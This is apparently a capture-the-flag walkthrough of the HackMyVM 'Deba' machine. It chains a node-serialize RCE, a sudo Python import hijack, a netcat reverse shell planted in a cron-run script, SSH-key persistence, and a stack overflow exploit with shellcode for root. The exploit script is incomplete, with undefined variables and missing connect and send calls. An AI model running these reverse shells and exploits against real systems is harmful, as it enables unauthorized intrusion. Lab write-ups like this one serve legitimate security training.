HackMyVm Deba Walkthrough

HackMyVm Deba Walkthrough


Scan ports, found 22, 80 and 3000 are open.

 # Nmap 7.91 scan initiated Fri May 14 08:30:51 2021 as: nmap -sV -sC -p- -oN ports.log
 Nmap scan report for (
 Host is up (0.0012s latency).
 Not shown: 65532 closed ports
 22/tcp   open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
 | ssh-hostkey:
 |   2048 22:e4:1e:f3:f6:82:7b:26:da:13:2f:01:f9:d5:0d:5b (RSA)
 |   256 7b:09:3e:d4:a7:2d:92:01:9d:7d:7f:32:c1:fd:93:5b (ECDSA)
 |_  256 56:fd:3d:c2:19:fe:22:24:ca:2c:f8:07:90:1d:76:87 (ED25519)
 80/tcp   open  http    Apache httpd 2.4.38 ((Debian))
 |_http-server-header: Apache/2.4.38 (Debian)
 |_http-title: Apache2 Debian Default Page: It works
 3000/tcp open  http    Node.js Express framework
 |_http-title: Site doesn't have a title (text/html; charset=utf-8).

Scan port 80, found nothing. Check port 3000, looks like a node.js site.

Use the classic Node.JS - 'node-serialize' Remote Code Execution POC at: https://www.exploit-db.com/exploits/49552.

Get reverse shell as www-data. Check sudo.

 www-data@debian:/home/low$ sudo -l
 sudo -l
 Matching Defaults entries for www-data on debian:
     env_reset, mail_badpass,
 User www-data may run the following commands on debian:
     (ALL : low) NOPASSWD: /usr/bin/python3 /home/low/scripts/script.py

Check files and content of /home/low/scripts, we have write permission of main.py.

 www-data@debian:/home/low/scripts$ ls -la
 ls -la
 total 16
 drwxr-xr-x 2 low      low      4096 may  7 17:59 .
 drwxr-xr-x 8 low      low      4096 may  7 23:45 ..
 -rwxr-xr-x 1 www-data www-data   88 may  7 10:57 main.py
 -rw-r--r-- 1 low      low        80 may  7 10:44 script.py
 www-data@debian:/home/low/scripts$ cat script.py
 cat script.py
 import main
 import os
 os.system("ip a | grep enp0s3")
 www-data@debian:/home/low/scripts$ cat main.py
 cat main.py
 from os import system as main
 print("Just main")

Modify main.py to get shell as user low.

 echo 'import os;os.system("/bin/bash");' > main.py
 sudo -u low python3 /home/low/scripts/script.py
 low@debian:~/scripts$ id
 uid=1001(low) gid=1001(low) grupos=1001(low)

Upload id_rsa.pub to get ssh access as user low.

 wget -O authorized_keys
 chmod 600 authorized_keys

After login as low, check pspy64. The user debian with id 1000 will run /home/debian/Documentos/backup/dissapeared.py each minute.

 2021/05/14 05:31:02 CMD: UID=0    PID=2240   | /usr/sbin/CRON -f 
 2021/05/14 05:31:02 CMD: UID=1000 PID=2241   | /usr/bin/python3 /home/debian/Documentos/backup/dissapeared.py

Create the file and write shell code in it.

 low@debian:/home/debian/Documentos/backup$ echo 'import os;os.system("nc 2234 -e /bin/bash");' > dissapeared.py

Get reverse shell as user debain.

 nc -nlvp 2234       
 Ncat: Version 7.91 ( https://nmap.org/ncat )
 Ncat: Listening on :::2234
 Ncat: Listening on
 Ncat: Connection from
 Ncat: Connection from
 uid=1000(debian) gid=1000(debian) grupos=1000(debian),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev),114(lpadmin),115(scanner)

Spwan an interactive shell.

 python3 -c 'import pty;pty.spawn("/bin/bash")'

Here, we can upload id_rsa.pub again, to get ssh login.

Check sudo again.

 debian@debian:~$ sudo -l
 Matching Defaults entries for debian on debian:
     env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
 User debian may run the following commands on debian:
     (ALL : root) NOPASSWD: /bin/wine /opt/Buffer-Overflow-Vulnerable-app/brainfuck.exe

Run brainfuck.exe, it will open port 9999 and receive user input.


Dissassemble brainfuck.exe, the vulnerability is at get_reply function.

 int __cdecl get_reply(char *Source)
   size_t v1; // eax
   char Destination[520]; // [esp+10h] [ebp-208h] BYREF
   printf("[get_reply] s = [%s]\n", Source);
   strcpy(Destination, Source);
   v1 = strlen(Destination);
   printf("[get_reply] copied %d bytes to buffer\n", v1);
   return strcmp(Destination, "shitstorm\n");

The max length of user input string is 520, then 4 bytes for ebp, 4 bytes for return address. We can generate test string.

 python3 -c "print('a'*520+'bbbb'+'cccc')"                                                                                                                                                                                  python3-0 | 1 [17:17:10]

Test it on windows, debug it with ollydbg, the return address is JUST overwrited by 'cccc'.

Brainfuck.exe also has jmp esp instruction.

 ropper --file brainfuck.exe --search 'jmp esp'                                                                                                                                                                         fish-0 | 0 [17:21:23]
 [INFO] Load gadgets for section: .text
 [LOAD] loading... 100%
 [LOAD] removing double gadgets... 100%
 [INFO] Searching for gadgets: jmp esp
 [INFO] File: brainfuck.exe
 0x311712f3: jmp esp;

Then we can make pwn code with class shell code.

 import socket
 junk = b'a' *520+b'bbbb'
 #the classic shellcode
 shell_code = b'\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x89\xca\x6a\x0b\x58\xcd\x80'
 payload = b''
 payload += junk
 payload += ret_addr
 payload +=shell_code
 with socket.socket(socket.AF_INET,socket.SOCK_STREAM) as clientSock:
     data_from_srv = clientSock.recv(recv_buf)
     print(f"Reply --> {data_from_srv}")
     print(f"Sending --> {payload}")

Start brainfuck.exe with sudo,  run exp.py at local machine, then we can get root shell.



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